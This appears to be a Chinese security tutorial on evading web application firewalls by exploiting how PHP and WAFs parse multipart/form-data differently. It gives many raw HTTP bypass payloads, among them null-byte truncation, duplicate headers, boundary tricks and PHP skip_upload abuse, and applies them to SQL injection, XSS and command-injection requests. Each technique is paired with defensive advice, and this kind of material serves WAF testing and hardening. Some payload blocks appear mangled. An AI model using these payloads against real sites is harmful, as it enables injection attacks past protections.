协议概述
multipart/form-data是HTTP协议中用于传输文件和复杂数据的一种编码方式,主要用于文件上传场景。它允许在单个HTTP请求中传输多个部分,每个部分可以包含不同类型的数据。
协议格式
标准格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 200
Content-Disposition: form-data; name="username"
admin
Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain
This is file content
|
关键要素
Content-Type头部:必须指定multipart/form-data,必须指定boundary分隔符,boundary不能出现在内容中
boundary分隔符:用于分隔不同的数据部分,以--开头,最后以--结尾
每个部分的头部:Content-Disposition描述数据的用途,name参数名称,filename文件名(可选),Content-Type内容类型(可选)
PHP解析机制
解析流程
PHP对multipart/form-data的解析过程如下:
- 读取boundary:从Content-Type头部提取boundary,去除前后的空白字符
- 分割数据:根据boundary分割请求体,提取每个部分的内容
- 解析头部:解析每个部分的Content-Disposition,判断是POST参数还是文件上传
- 填充超全局变量:有filename填充
$_FILES,无filename填充$_POST
关键判断逻辑
PHP判断一个part是POST参数还是文件上传的关键在于:
1 2 3 4 5 6
| if (strstr(content_disposition, "filename=")) { } else { }
|
关键点:filename=这9个字符必须完整存在,缺一不可。
WAF解析机制
WAF的解析方式
WAF在解析multipart/form-data时,通常采用以下方式:
- 简单解析:只解析基本的multipart格式,不处理复杂的边界情况
- 正则匹配:使用正则表达式提取参数,可能遗漏特殊格式
- 部分解析:只解析部分内容,可能忽略某些字段
常见解析差异
WAF与PHP在解析multipart/form-data时存在以下差异:
- boundary处理:WAF可能严格按boundary分割,PHP可能更宽松地处理boundary
- 特殊字符处理:WAF可能过滤某些特殊字符,PHP可能保留这些字符
- 编码处理:WAF可能不进行URL解码,PHP可能自动解码
- 空格和换行处理:WAF可能严格处理空格和换行,PHP可能更宽松
入门级绕过技术
0x00截断filename
在filename之前加入0x00字符,WAF在检测前会删除HTTP协议中的0x00,导致WAF认为这是含有filename的普通上传,而后端PHP则认为是POST参数。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="id"; filename=test.txt
alert(1) ------WebKitFormBoundary--
|
绕过效果WAF认为是文件上传,不检测内容;PHP识别为POST参数id,值为alert(1)
防御要点保留0x00字符进行检测,统一特殊字符处理逻辑
双写上传描述行
双写Content-Disposition行,一些WAF会取第二行,而实际PHP会获取第一行。
Payload示例
1 2 3 4 5 6 7 8 9 10
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="id" Content-Disposition: form-data; name="id"; filename=test.txt
alert(1) ------WebKitFormBoundary--
|
绕过效果WAF读取第二行,认为是文件上传;PHP读取第一行,识别为POST参数
防御要点处理重复字段时采用统一策略,警惕重复的Content-Disposition
双写整个part开头部分
双写整个part的开头部分,包括boundary和Content-Disposition。
Payload示例
1 2 3 4 5 6 7 8 9 10 11
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="id"
Content-Disposition: form-data; name="id"; filename=test.txt
alert(1)
|
绕过效果WAF识别为文件上传;PHP识别为POST参数,但前面会引入垃圾数据
防御要点规范化处理重复的part,检测异常的part结构
构造假的part部分1
构造一个假的part部分,干扰WAF的解析。
Payload示例
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="fake"; filename=fake.txt
fake content
Content-Disposition: form-data; name="id"
alert(1)
|
绕过效果WAF被假part干扰,可能忽略后面的真实参数;PHP正确解析所有参数
防御要点完整解析所有part,不被假part干扰
构造假的part部分2
构造一个更简洁的假part,减少垃圾数据。
Payload示例
1 2 3 4 5 6 7 8 9 10 11 12
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="fake"; filename=fake.txt
Content-Disposition: form-data; name="id"
alert(1)
|
绕过效果WAF识别为文件上传;PHP识别为POST参数,数据更纯净
防御要点检测空的文件内容,验证文件上传的合理性
两个boundary
在Content-Type中指定两个boundary,PHP只使用第一个。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=a; boundary=b
Content-Disposition: form-data; name="id"
alert(1)
|
绕过效果WAF可能使用第二个boundary解析;PHP使用第一个boundary解析
防御要点只使用第一个boundary,警惕多个boundary的情况
两个Content-Type
在请求中指定两个Content-Type头部。
Payload示例
1 2 3 4 5 6 7 8 9 10
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=a Content-Type: application/x-www-form-urlencoded
Content-Disposition: form-data; name="id"
alert(1)
|
绕过效果WAF可能使用第二个Content-Type;PHP使用第一个Content-Type
防御要点统一处理多个Content-Type,使用第一个有效的Content-Type
空boundary
使用空的boundary,注意是空字符串而不是分号。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=
-- Content-Disposition: form-data; name="id"
alert(1) ----
|
绕过效果WAF可能无法正确解析;PHP可能正确解析
防御要点验证boundary的有效性,拒绝空的boundary
空格boundary
使用空格作为boundary。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=
-- Content-Disposition: form-data; name="id"
alert(1) ----
|
绕过效果WAF可能无法正确处理空格boundary;PHP可能正确处理
防御要点规范化boundary,拒绝仅包含空格的boundary
boundary中的逗号
在boundary中使用逗号,PHP遇到逗号就结束boundary。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=a,b
Content-Disposition: form-data; name="id"
alert(1)
|
绕过效果WAF可能使用完整的a,b作为boundary;PHP只使用a作为boundary
防御要点正确处理boundary中的特殊字符,与后端保持一致的解析逻辑
进阶绕过技术
0x00截断进阶
在适当的位置加入0x00、空格和\t,破坏第一行,让PHP以第二行为主。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition\x00: form-data; name="id"; filename=test.txt
alert(1) ------WebKitFormBoundary--
|
绕过效果WAF第一行被0x00破坏,读取第二行;PHP第一行被破坏,读取第二行
可以在以下位置插入特殊字符:Content-Disposition之前、name字段之前、filename字段之前、参数值之前
防御要点处理特殊字符,统一解析逻辑
boundary进阶
在boundary名称前后加入任意内容。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=prefix----WebKitFormBoundarysuffix
------ --
--------
|
绕过效果WAF可能严格按boundary取值;PHP可能正确处理带前后缀的boundary
Content-Type中的空格
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data ; boundary=----WebKitFormBoundary
-- ---- --
-- ------
|
防御要点正确提取boundary,处理boundary周围的空格
单双引号混合进阶
Content-Disposition中的字段可以使用单引号或双引号。
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name='id'
alert(1)
|
绕过效果WAF可能只处理双引号;PHP正确处理单引号
混合使用
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="id"; filename='test.txt'
alert(1)
|
防御要点统一处理单双引号,规范化引号使用
urlencoded伪装成为multipart
实际上是urlencoded格式,但伪装成multipart格式,通过&来截取前后装饰部分。
Payload示例
1 2 3 4 5 6 7 8 9 10 11 12
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="fake"; filename=fake.txt
------WebKitFormBoundary Content-Disposition: form-data; name="id"
&id=alert(1)& ------WebKitFormBoundary--
|
绕过效果WAF不进行URL解码,认为内容安全;PHP可能进行URL解码,执行攻击
防御要点根据实际格式进行解码,不依赖单一格式判断
源码级绕过技术
skip_upload进阶1
利用PHP源码中的skip_upload逻辑,通过构造不成对的中括号来触发skip_upload。
PHP源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (!skip_upload) { char *tmp = param; long c = 0; while (*tmp) { if (*tmp == '[') { c++; } else if (*tmp == ']') { c--; if (tmp[1] && tmp[1] != '[') { skip_upload = 1; break; } } if (c < 0) { skip_upload = 1; break; } tmp++; } }
|
逻辑说明遇到[,计数器c加1;遇到],计数器c减1;如果c小于0,设置skip_upload为1
Payload示例
1 2 3 4 5 6 7 8 9
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="f]"; filename=test.txt
alert(1) ------WebKitFormBoundary--
|
绕过效果WAF认为是文件上传;PHP触发skip_upload,识别为POST参数
其他变体
1 2 3 4 5 6 7 8
| # 多个不成对的中括号 name="f]]"
# 前面有不成对的] name="f]a"
# 复杂的中括号组合 name="f[a]]"
|
防御要点复现PHP的解析逻辑,检测异常的中括号组合
skip_upload进阶2
利用PHP的max_file_uploads限制,通过构造超过20个文件上传来触发skip_upload。
PHP源码分析
1 2 3 4 5 6 7
| if (!PG(file_uploads)) { skip_upload = 1; } else if (upload_cnt <= 0) { skip_upload = 1; sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded"); }
|
关键点:PHP 5.2.12+有一个隐藏的max_file_uploads设置,默认值为20,超过20个文件上传会触发skip_upload
Payload示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=a
--a Content-Disposition: form-data; name="a"; filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="b"; filename="1.png" Content-Type: image/png
b --a [... 重复18个类似的part ...] --a Content-Disposition: form-data; name="t"; filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="id"; filename="1.png" Content-Type: image/png
--a Content-Disposition: form-data; name="id"
alert(1) --a--
|
绕过效果WAF前20个part被认为是文件上传,第21个part也被认为是文件上传;PHP前20个part填满了max_file_uploads,第21个part触发skip_upload,识别为POST参数
防御要点处理max_file_uploads限制,检测异常的大量文件上传
实战案例
SQL注入绕过
场景
目标URL: http://example.com/search.php
正常请求:
1 2 3 4
| POST /search.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
keyword=test
|
WAF拦截
恶意请求被拦截:
1 2 3 4
| POST /search.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
keyword=' OR 1=1--
|
绕过方法
使用multipart/form-data:
1 2 3 4 5 6 7 8
| POST /search.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="keyword"; filename=test.txt
' OR 1=1
|
防御建议对multipart/form-data的参数进行同样的检测,不依赖单一Content-Type进行检测
XSS绕过
场景
目标URL: http://example.com/comment.php
正常请求:
1 2 3 4
| POST /comment.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
comment=test
|
WAF拦截
恶意请求被拦截:
1 2 3 4
| POST /comment.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
comment=<script>alert(1)</script>
|
绕过方法
使用0x00截断:
1 2 3 4 5 6 7 8
| POST /comment.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="comment"; filename=test.txt
<script>alert(1)</script>
|
防御建议对文件上传内容也进行XSS检测,统一处理所有输入
命令注入绕过
场景
目标URL: http://example.com/ping.php
正常请求:
1 2 3 4
| POST /ping.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1
|
WAF拦截
恶意请求被拦截:
1 2 3 4
| POST /ping.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1
|
绕过方法
使用skip_upload:
1 2 3 4 5 6 7 8
| POST /ping.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary Content-Disposition: form-data; name="ip]"; filename=test.txt
127.0.0.1; whoami ------WebKitFormBoundary--
|
防御建议对所有参数进行严格的输入验证,使用白名单而非黑名单
防御建议
WAF防御要点
- 统一解析逻辑:与后端保持一致的解析逻辑,复现后端的解析过程
- 全面检测:不依赖单一Content-Type,对所有输入进行检测
- 特殊字符处理:保留特殊字符进行检测,统一特殊字符处理逻辑
- 异常检测:检测异常的multipart格式,警惕重复字段和异常结构
最佳实践
- 多层防御:网络层、应用层、业务层多层检测,不依赖单一防御手段
- 持续更新:更新检测规则,学习新型绕过技术
- 测试验证:定期进行渗透测试,验证防御效果
- 监控告警:监控异常请求,及时响应安全事件
总结
multipart/form-data绕过技术的核心在于利用WAF与后端解析逻辑的差异。通过构造特殊的multipart格式,可以让WAF误判请求的性质,从而绕过检测。
关键要点
理解协议:深入理解multipart/form-data协议,了解PHP的解析机制
发现差异:找出WAF与后端的解析差异,利用差异进行绕过
构造Payload:精心构造特殊的multipart格式,测试绕过效果
持续对抗:WAF不断更新防御规则,攻击者不断寻找新的绕过方法
防御与对抗
WAF绕过是一个持续的对抗过程,防御者需要不断学习和更新,才能有效防御各种绕过技术。